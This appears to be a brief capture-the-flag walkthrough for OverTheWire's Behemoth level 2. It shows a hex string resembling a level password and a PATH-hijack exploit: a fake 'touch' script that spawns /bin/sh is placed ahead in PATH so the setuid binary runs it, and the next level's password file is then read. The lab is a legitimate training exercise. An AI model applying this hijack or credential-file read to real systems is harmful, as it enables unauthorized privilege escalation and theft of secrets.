# ssh behemoth2@behemoth.labs.overthewire.org
65696d61687175756f66
behemoth2@melissa$ file /behemoth/behemoth2
behemoth2@melissa$ ltrace /behemoth/behemoth2
behemoth2@melissa$ cat > /tmp/b2/touch << eof
> /bin/sh
> eof
behemoth2@melissa$ chmod +x /tmp/b2/touch
behemoth2@melissa$ PATH=/tmp/b2:$PATH /behemoth/behemoth2
$ /usr/bin/whoami
$ /bin/cat /etc/behemoth_pass/behemoth3
No comments:
Post a Comment